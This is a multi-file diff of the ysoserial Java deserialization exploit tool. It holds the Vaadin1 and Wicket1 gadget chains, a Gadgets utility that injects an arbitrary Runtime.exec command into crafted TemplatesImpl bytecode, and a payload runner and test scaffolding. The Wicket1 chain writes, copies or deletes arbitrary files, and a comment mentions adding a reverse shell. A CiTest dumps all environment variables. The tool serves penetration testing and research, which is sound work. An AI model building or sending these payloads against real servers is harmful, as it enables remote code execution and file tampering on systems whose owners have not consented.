import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
@Dependencies ( { "com.vaadin:vaadin-server:7.7.14", "com.vaadin:vaadin-shared:7.7.14" })
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Authors({ Authors.KULLRICH })
public class Vaadin1 implements ObjectPayload<Object>
{
// +-------------------------------------------------+
// | |
// | BadAttributeValueExpException |
// | |
// | val ==> PropertysetItem |
// | |
// | readObject() ==> val.toString() |
// | + |
// +----------|--------------------------------------+
// |
// |
// |
// +----|-----------------------------------------+
// | v |
// | PropertysetItem |
// | |
// | toString () => getPropertyId().getValue () |
// | + |
// +---------------------------------------|------+
// |
// +-----------------------------+
// |
// +-----|----------------------------------------------+
// | v |
// | NestedMethodProperty |
// | |
// | getValue() => java.lang.reflect.Method.invoke () |
// | | |
// +-------------------------------------------|--------+
// |
// +-----------------------------------+
// |
// +---|--------------------------------------------+
// | v |
// | TemplatesImpl.getOutputProperties() |
// | |
// +------------------------------------------------+
@Override
public Object getObject (String command) throws Exception
{
Object templ = Gadgets.createTemplatesImpl (command);
PropertysetItem pItem = new PropertysetItem ();
NestedMethodProperty<Object> nmprop = new NestedMethodProperty<Object> (templ, "outputProperties");
pItem.addItemProperty ("outputProperties", nmprop);
BadAttributeValueExpException b = new BadAttributeValueExpException ("");
Reflections.setFieldValue (b, "val", pItem);
return b;
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isBadAttrValExcReadObj();
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Vaadin1.class, args);
}
}
@@ -0,0 +1,115 @@
package ysoserial.payloads;
import java.io.File;
import java.io.IOException;
import java.io.OutputStream;
import java.util.Arrays;
import org.apache.commons.codec.binary.Base64;
import org.apache.wicket.util.upload.DiskFileItem;
import org.apache.wicket.util.io.DeferredFileOutputStream;
import org.apache.wicket.util.io.ThresholdingOutputStream;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
* This gadget is almost identical to FileUpload1 since it appears
* that Apache Wicket copied a version of Apache Commons DiskFileItem
* prior to Pierre Ernst reporting CVE-2013-2186 (NULL byte attack). That
* means that if the target is running less than Oracle Java 7 update 40
* then the NULL byte attack is viable. Otherwise, copy and move attacks
* always work.
*
* This attack is valid for the 1.x and 6.x lines of Apache Wicket but
* was fixed in 1.5.16 and 6.24.0 (released July 2016).
*
*
* Arguments:
* - copyAndDelete;sourceFile;destDir
* - write;destDir;ascii-data
* - writeB64;destDir;base64-data
* - writeOld;destFile;ascii-data
* - writeOldB64;destFile;base64-data
*
* Example:
* Wicket1 "write;/tmp;blue lobster"
*
* Result:
* $ ls -l /tmp/
* -rw-rw-r-- 1 albino_lobster albino_lobster 12 Jul 25 14:10 upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp
* $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp
* blue lobster
*/
@PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", flaky="possible race condition")
@Dependencies({"org.apache.wicket:wicket-util:6.23.0", "org.slf4j:slf4j-api:1.6.4"})
@Authors({ Authors.JACOBAINES })
public class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> {
public DiskFileItem getObject(String command) throws Exception {
String[] parts = command.split(";");
if (parts.length != 3) {
throw new IllegalArgumentException("Bad command format.");
}
if ("copyAndDelete".equals(parts[0])) {
return copyAndDelete(parts[1], parts[2]);
}
else if ("write".equals(parts[0])) {
return write(parts[1], parts[2].getBytes("US-ASCII"));
}
else if ("writeB64".equals(parts[0]) ) {
return write(parts[1], Base64.decodeBase64(parts[2]));
}
else if ("writeOld".equals(parts[0]) ) {
return writeOldJRE(parts[1], parts[2].getBytes("US-ASCII"));
}
else if ("writeOldB64".equals(parts[0]) ) {
return writeOldJRE(parts[1], Base64.decodeBase64(parts[2]));
}
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts));
}
public void release(DiskFileItem obj) throws Exception {
}
private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception {
return makePayload(0, copyTo, copyAndDelete, new byte[1]);
}
// writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)
private static DiskFileItem write ( String dir, byte[] data ) throws IOException, Exception {
return makePayload(data.length + 1, dir, dir + "/whatever", data);
}
// writes data to an arbitrary file
private static DiskFileItem writeOldJRE(String file, byte[] data) throws IOException, Exception {
return makePayload(data.length + 1, file + "\0", file, data);
}
private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception {
// if thresh < written length, delete outputFile after copying to repository temp file
// otherwise write the contents to repository temp file
File repository = new File(repoPath);
DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository, null);
File outputFile = new File(filePath);
DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
os.write(data);
Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
return diskFileItem;
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(FileUpload1.class, args);
}
}
@@ -0,0 +1,41 @@
package ysoserial.payloads.annotation;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
import java.lang.reflect.AnnotatedElement;
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
public @interface Authors {
String FROHOFF = "frohoff";
String PWNTESTER = "pwntester";
String CSCHNEIDER4711 = "cschneider4711";
String MBECHLER = "mbechler";
String JACKOFMOSTTRADES = "JackOfMostTrades";
String MATTHIASKAISER = "matthias_kaiser";
String GEBL = "gebl" ;
String JACOBAINES = "jacob-baines";
String JASINNER = "jasinner";
String KULLRICH = "kai_ullrich";
String TINT0 = "_tint0";
String SCRISTALLI = "scristalli";
String HANYRAX = "hanyrax";
String EDOARDOVIGNATI = "EdoardoVignati";
String JANG = "Jang";
String ARTSPLOIT = "artsploit";
String[] value() default {};
public static class Utils {
public static String[] getAuthors(AnnotatedElement annotated) {
Authors authors = annotated.getAnnotation(Authors.class);
if (authors != null && authors.value() != null) {
return authors.value();
} else {
return new String[0];
}
}
}
}
@@ -0,0 +1,33 @@
package ysoserial.payloads.annotation;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
import java.lang.reflect.AnnotatedElement;
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
public @interface Dependencies {
String[] value() default {};
public static class Utils {
public static String[] getDependencies(AnnotatedElement annotated) {
Dependencies deps = annotated.getAnnotation(Dependencies.class);
if (deps != null && deps.value() != null) {
return deps.value();
} else {
return new String[0];
}
}
public static String[] getDependenciesSimple(AnnotatedElement annotated) {
String[] deps = getDependencies(annotated);
String[] simple = new String[deps.length];
for (int i = 0; i < simple.length; i++) {
simple[i] = deps[i].split(":", 2)[1];
}
return simple;
}
}
}
@@ -0,0 +1,19 @@
package ysoserial.payloads.annotation;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
/**
* @author mbechler
*
*/
@Retention(RetentionPolicy.RUNTIME)
public @interface PayloadTest {
String skip() default "";
String precondition() default "";
String harness() default "";
String flaky() default "";
}
@@ -22,7 +22,8 @@ public class ClassFiles {
return str; return str;
} }
public static byte[] classAsBytes(final Class<?> clazz) throws IOException { public static byte[] classAsBytes(final Class<?> clazz) {
try {
final byte[] buffer = new byte[1024]; final byte[] buffer = new byte[1024];
final String file = classAsFile(clazz); final String file = classAsFile(clazz);
final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
@@ -35,6 +36,9 @@ public class ClassFiles {
out.write(buffer, 0, len); out.write(buffer, 0, len);
} }
return out.toByteArray(); return out.toByteArray();
} catch (IOException e) {
throw new RuntimeException(e);
}
} }
} }
@@ -1,84 +1,160 @@
package ysoserial.payloads.util; package ysoserial.payloads.util;
import java.io.IOException;
import java.io.ObjectInputStream; import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
import java.io.Serializable; import java.io.Serializable;
import java.lang.reflect.Array; import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy; import java.lang.reflect.Proxy;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
import com.nqzero.permit.Permit;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
/* /*
* utility generator functions for common jdk-only gadgets * utility generator functions for common jdk-only gadgets
*/ */
@SuppressWarnings("restriction") @SuppressWarnings ( {
"restriction", "rawtypes", "unchecked"
} )
public class Gadgets { public class Gadgets {
private static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
// serializable translet subclass that will command stored in field when deserialized static {
public static class TransletPayload extends AbstractTranslet implements Serializable { // special case for using TemplatesImpl gadgets with a SecurityManager enabled
private static final long serialVersionUID = 5571793986024357801L; System.setProperty(DESERIALIZE_TRANSLET, "true");
{ // for RMI remote loading
namesArray = new String[0]; // needed to make TemplatesImpl happy System.setProperty("java.rmi.server.useCodebaseOnly", "false");
} }
private String command; public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
// execute stored command on deserialization public static class StubTransletPayload extends AbstractTranslet implements Serializable {
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject(); // read command string
try {
Runtime.getRuntime().exec(command); // execute command
} catch (IOException e) {
e.printStackTrace(); // not trying to be stealthy
}
}
public TransletPayload withCommand(String command) { private static final long serialVersionUID = -5971610431559700674L;
this.command = command;
return this;
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {}
throws TransletException {}
@Override
public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
} }
// required to make TemplatesImpl happy // required to make TemplatesImpl happy
public static class Foo implements Serializable { public static class Foo implements Serializable {
private static final long serialVersionUID = 8207363842866235160L; private static final long serialVersionUID = 8207363842866235160L;
} }
public static <T> T createMemoitizedProxy(final Map<String,Object> map, final Class<T> iface,
final Class<?> ... ifaces) throws Exception { public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
} }
public static InvocationHandler createMemoizedInvocationHandler(final Map<String, Object> map) throws Exception {
public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
} }
public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?> ... ifaces) {
public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1); final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[0] = iface; allIfaces[ 0 ] = iface;
if (ifaces.length > 0) { if ( ifaces.length > 0 ) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
} }
return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces , ih)); return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
} }
public static Map<String,Object> createMap(final String key, final Object val) {
final Map<String,Object> map = new HashMap<String, Object>(); public static Map<String, Object> createMap ( final String key, final Object val ) {
map.put(key,val); final Map<String, Object> map = new HashMap<String, Object>();
map.put(key, val);
return map; return map;
} }
public static Object createTemplatesImpl ( final String command ) throws Exception {
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
return createTemplatesImpl(
command,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
}
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replace("\\", "\\\\").replace("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
public static HashMap makeMap ( Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException,
IllegalAccessException, InvocationTargetException {
HashMap s = new HashMap();
Reflections.setFieldValue(s, "size", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
Reflections.setAccessible(nodeCons);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);
return s;
}
} }
@@ -0,0 +1,46 @@
package ysoserial.payloads.util;
/**
* @author mbechler
*
*/
public class JavaVersion {
public int major;
public int minor;
public int update;
public static JavaVersion getLocalVersion() {
String property = System.getProperties().getProperty("java.version");
if ( property == null ) {
return null;
}
JavaVersion v = new JavaVersion();
String parts[] = property.split("\\.|_|-");
int start = "1".equals(parts[0]) ? 1 : 0; // skip "1." prefix
v.major = Integer.parseInt(parts[start + 0]);
v.minor = Integer.parseInt(parts[start + 1]);
v.update = Integer.parseInt(parts[start + 2]);
return v;
}
public static boolean isAnnInvHUniversalMethodImpl() {
JavaVersion v = JavaVersion.getLocalVersion();
return v != null && (v.major < 8 || (v.major == 8 && v.update <= 71));
}
public static boolean isBadAttrValExcReadObj() {
JavaVersion v = JavaVersion.getLocalVersion();
return v != null && (v.major > 8 && v.update >= 76);
}
public static boolean isAtLeast(int major) {
JavaVersion v = JavaVersion.getLocalVersion();
return v != null && v.major >= major;
}
}
@@ -1,34 +1,63 @@
package ysoserial.payloads.util; package ysoserial.payloads.util;
import static ysoserial.payloads.util.Serializables.deserialize; import java.util.concurrent.Callable;
import static ysoserial.payloads.util.Serializables.serialize;
import ysoserial.Deserializer;
import ysoserial.Serializer;
import static ysoserial.Deserializer.deserialize;
import static ysoserial.Serializer.serialize;
import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.secmgr.ExecCheckingSecurityManager;
/* /*
* utility class for running exploits locally from command line * utility class for running exploits locally from command line
*/ */
@SuppressWarnings("unused") @SuppressWarnings("unused")
public class PayloadRunner { public class PayloadRunner {
public static void run(final Class<? extends ObjectPayload> clazz, final String[] args) {
try { public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
final String command = args.length > 0 && args[0] != null ? args[0] : "calc.exe"; // ensure payload generation doesn't throw an exception
byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable<byte[]>(){
public byte[] call() throws Exception {
final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd();
System.out.println("generating payload object(s) for command: '" + command + "'"); System.out.println("generating payload object(s) for command: '" + command + "'");
final Object objBefore = clazz.newInstance().getObject(command); ObjectPayload<?> payload = clazz.newInstance();
final Object objBefore = payload.getObject(command);
System.out.println("serializing payload"); System.out.println("serializing payload");
byte[] ser = Serializer.serialize(objBefore);
Utils.releasePayload(payload, objBefore);
return ser;
}});
final byte[] serialized = serialize(objBefore); try {
System.out.println("deserializing payload"); System.out.println("deserializing payload");
final Object objAfter = Deserializer.deserialize(serialized);
final Object objAfter = deserialize(serialized);
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
} }
} }
private static String getDefaultTestCmd() {
return getFirstExistingFile(
"C:\\Windows\\System32\\calc.exe",
"/Applications/Calculator.app/Contents/MacOS/Calculator",
"/usr/bin/gnome-calculator",
"/usr/bin/kcalc"
);
}
private static String getFirstExistingFile(String ... files) {
return "calc.exe";
// for (String path : files) {
// if (new File(path).exists()) {
// return path;
// }
// }
// throw new UnsupportedOperationException("no known test executable");
}
} }
@@ -1,16 +1,42 @@
package ysoserial.payloads.util; package ysoserial.payloads.util;
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import sun.reflect.ReflectionFactory;
import com.nqzero.permit.Permit;
@SuppressWarnings ( "restriction" )
public class Reflections { public class Reflections {
public static Field getField(final Class<?> clazz, final String fieldName) throws Exception { public static void setAccessible(AccessibleObject member) {
Field field = clazz.getDeclaredField(fieldName); String versionStr = System.getProperty("java.version");
if (field == null && clazz.getSuperclass() != null) { int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
if (javaVersion < 12) {
// quiet runtime warnings from JDK9+
Permit.setAccessible(member);
} else {
// not possible to quiet runtime warnings anymore...
// see https://bugs.openjdk.java.net/browse/JDK-8210522
// to understand impact on Permit (i.e. it does not work
// anymore with Java >= 12)
member.setAccessible(true);
}
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
setAccessible(field);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName); field = getField(clazz.getSuperclass(), fieldName);
} }
field.setAccessible(true);
return field; return field;
} }
@@ -26,8 +52,27 @@ public class Reflections {
public static Constructor<?> getFirstCtor(final String name) throws Exception { public static Constructor<?> getFirstCtor(final String name) throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0]; final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
ctor.setAccessible(true); setAccessible(ctor);
return ctor; return ctor;
} }
public static Object newInstance(String className, Object ... args) throws Exception {
return getFirstCtor(className).newInstance(args);
}
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
@SuppressWarnings ( {"unchecked"} )
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
setAccessible(objCons);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
setAccessible(sc);
return (T)sc.newInstance(consArgs);
}
} }
@@ -1,34 +0,0 @@
package ysoserial.payloads.util;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
public class Serializables {
public static byte[] serialize(final Object obj) throws IOException {
final ByteArrayOutputStream out = new ByteArrayOutputStream();
serialize(obj, out);
return out.toByteArray();
}
public static void serialize(final Object obj, final OutputStream out) throws IOException {
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
}
public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
final ByteArrayInputStream in = new ByteArrayInputStream(serialized);
return deserialize(in);
}
public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException {
final ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}
}
+201
View File
@@ -0,0 +1,201 @@
package ysoserial.secmgr;
import java.io.FileDescriptor;
import java.net.InetAddress;
import java.security.Permission;
@SuppressWarnings({"deprecation"})
public class DelegateSecurityManager extends SecurityManager {
private SecurityManager securityManager;
public SecurityManager getSecurityManager() {
return securityManager;
}
public void setSecurityManager(SecurityManager securityManager) {
this.securityManager = securityManager;
}
//BEGIN fixes for JDK10+ compatibility
@SuppressWarnings({"deprecation"})
//@Override
public boolean getInCheck() {
//return getSecurityManager().getInCheck();
return false;
}
@SuppressWarnings({"deprecation"})
//@Override
public boolean checkTopLevelWindow(Object window) {
//return getSecurityManager().checkTopLevelWindow(window);
return true;
}
@SuppressWarnings({"deprecation"})
//@Override
public void checkSystemClipboardAccess() {
//getSecurityManager().checkSystemClipboardAccess();
}
@SuppressWarnings({"deprecation"})
//@Override
public void checkAwtEventQueueAccess() {
//getSecurityManager().checkAwtEventQueueAccess();
}
@SuppressWarnings({"deprecation"})
//@Override
public void checkMemberAccess(Class<?> clazz, int which) {
//getSecurityManager().checkMemberAccess(clazz, which);
}
//END fixes for JDK10+ compatibility
@Override
public Object getSecurityContext() {
return getSecurityManager().getSecurityContext();
}
@Override
public void checkPermission(Permission perm) {
getSecurityManager().checkPermission(perm);
}
@Override
public void checkPermission(Permission perm, Object context) {
getSecurityManager().checkPermission(perm, context);
}
@Override
public void checkCreateClassLoader() {
getSecurityManager().checkCreateClassLoader();
}
@Override
public void checkAccess(Thread t) {
getSecurityManager().checkAccess(t);
}
@Override
public void checkAccess(ThreadGroup g) {
getSecurityManager().checkAccess(g);
}
@Override
public void checkExit(int status) {
getSecurityManager().checkExit(status);
}
@Override
public void checkExec(String cmd) {
getSecurityManager().checkExec(cmd);
}
@Override
public void checkLink(String lib) {
getSecurityManager().checkLink(lib);
}
@Override
public void checkRead(FileDescriptor fd) {
getSecurityManager().checkRead(fd);
}
@Override
public void checkRead(String file) {
getSecurityManager().checkRead(file);
}
@Override
public void checkRead(String file, Object context) {
getSecurityManager().checkRead(file, context);
}
@Override
public void checkWrite(FileDescriptor fd) {
getSecurityManager().checkWrite(fd);
}
@Override
public void checkWrite(String file) {
getSecurityManager().checkWrite(file);
}
@Override
public void checkDelete(String file) {
getSecurityManager().checkDelete(file);
}
@Override
public void checkConnect(String host, int port) {
getSecurityManager().checkConnect(host, port);
}
@Override
public void checkConnect(String host, int port, Object context) {
getSecurityManager().checkConnect(host, port, context);
}
@Override
public void checkListen(int port) {
getSecurityManager().checkListen(port);
}
@Override
public void checkAccept(String host, int port) {
getSecurityManager().checkAccept(host, port);
}
@Override
public void checkMulticast(InetAddress maddr) {
getSecurityManager().checkMulticast(maddr);
}
@SuppressWarnings({"deprecation"})
@Override
public void checkMulticast(InetAddress maddr, byte ttl) {
getSecurityManager().checkMulticast(maddr, ttl);
}
@Override
public void checkPropertiesAccess() {
getSecurityManager().checkPropertiesAccess();
}
@Override
public void checkPropertyAccess(String key) {
getSecurityManager().checkPropertyAccess(key);
}
@Override
public void checkPrintJobAccess() {
getSecurityManager().checkPrintJobAccess();
}
@Override
public void checkPackageAccess(String pkg) {
getSecurityManager().checkPackageAccess(pkg);
}
@Override
public void checkPackageDefinition(String pkg) {
getSecurityManager().checkPackageDefinition(pkg);
}
@Override
public void checkSetFactory() {
getSecurityManager().checkSetFactory();
}
@Override
public void checkSecurityAccess(String target) {
getSecurityManager().checkSecurityAccess(target);
}
@Override
public ThreadGroup getThreadGroup() {
return getSecurityManager().getThreadGroup();
}
}
@@ -0,0 +1,87 @@
package ysoserial.secmgr;
import java.security.Permission;
import java.util.Collections;
import java.util.LinkedList;
import java.util.List;
import java.util.concurrent.Callable;
// TODO per-thread secmgr
public class ExecCheckingSecurityManager extends SecurityManager {
public ExecCheckingSecurityManager() {
this(true);
}
public ExecCheckingSecurityManager(boolean throwException) {
this.throwException = throwException;
}
private final boolean throwException;
private final List<String> cmds = new LinkedList<String>();
public List<String> getCmds() {
return Collections.unmodifiableList(cmds);
}
@Override
public void checkPermission(final Permission perm) { }
@Override
public void checkPermission(final Permission perm, final Object context) { }
@Override
public void checkExec(final String cmd) {
super.checkExec(cmd);
cmds.add(cmd);
if (throwException) {
// throw a special exception to ensure we can detect exec() in the test
throw new ExecException(cmd);
}
};
@SuppressWarnings("serial")
public static class ExecException extends RuntimeException {
private final String threadName = Thread.currentThread().getName();
private final String cmd;
public ExecException(String cmd) { this.cmd = cmd; }
public String getCmd() { return cmd; }
public String getThreadName() { return threadName; }
@
Override
public String getMessage() {
return "executed `" + getCmd() + "` in [" + getThreadName() + "]";
}
}
public void callWrapped(final Runnable runnable) throws Exception {
callWrapped(new Callable<Void>(){
public Void call() throws Exception {
runnable.run();
return null;
}
});
}
public <T> T callWrapped(final Callable<T> callable) throws Exception {
SecurityManager sm = System.getSecurityManager(); // save sm
System.setSecurityManager(this);
try {
T result = callable.call();
if (throwException && ! getCmds().isEmpty()) {
throw new ExecException(getCmds().get(0));
}
return result;
} catch (Exception e) {
if (! (e instanceof ExecException) && throwException && ! getCmds().isEmpty()) {
throw new ExecException(getCmds().get(0));
} else {
throw e;
}
} finally {
System.setSecurityManager(sm); // restore sm
}
}
}
+11
View File
@@ -0,0 +1,11 @@
package ysoserial;
import org.junit.Test;
public class CiTest {
@Test
public void test() {
System.out.println("System.getProperties(): " + System.getProperties());
System.out.println("System.getenv(): " + System.getenv());
}
}
@@ -1,16 +0,0 @@
package ysoserial;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
@SuppressWarnings("serial")
public class ExecSerializable implements Serializable {
private void readObject(final ObjectInputStream ois) {
try {
Runtime.getRuntime().exec("hostname");
} catch (IOException e) {
e.printStackTrace();
}
}
}
-17
View File
@@ -1,17 +0,0 @@
package ysoserial;
import java.io.Serializable;
import ysoserial.payloads.ObjectPayload;
public class MockPayload implements ObjectPayload {
private final Serializable obj;
public MockPayload(final Serializable obj) {
this.obj = obj;
}
public Object getObject(final String command) throws Exception {
return obj;
}
}
@@ -1,24 +0,0 @@
package ysoserial;
import java.security.Permission;
import java.util.LinkedList;
import java.util.List;
public class MockSecurityManager extends SecurityManager {
private final List<Permission> checks = new LinkedList<Permission>();
public List<Permission> getChecks() {
return checks;
}
@Override
public void checkPermission(final Permission perm) {
checks.add(perm);
}
@Override
public void checkPermission(final Permission perm, final Object context) {
checks.add(perm);
}
}
@@ -1,90 +0,0 @@
package ysoserial.payloads;
import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
import java.io.FilePermission;
import org.junit.Assert;
import org.junit.Rule;
import org.junit.Test;
import org.junit.contrib.java.lang.system.ProvideSecurityManager;
import org.junit.experimental.theories.DataPoints;
import org.junit.experimental.theories.Theories;
import org.junit.experimental.theories.Theory;
import org.junit.runner.RunWith;
import ysoserial.ExecSerializable;
import ysoserial.MockPayload;
import ysoserial.MockSecurityManager;
import ysoserial.Throwables;
import ysoserial.payloads.CommonsCollections1;
import ysoserial.payloads.Groovy1;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.Spring1;
import ysoserial.payloads.util.Serializables;
/*
* tests each of the parameterize Payload classes by using a mock SecurityManager that throws
* a special exception when an exec() attempt is made for more reliable detection; self-tests
* the harness for trivial pass and failure cases
*/
@SuppressWarnings({"restriction","unused"})
@RunWith(Theories.class)
public class PayloadsTest {
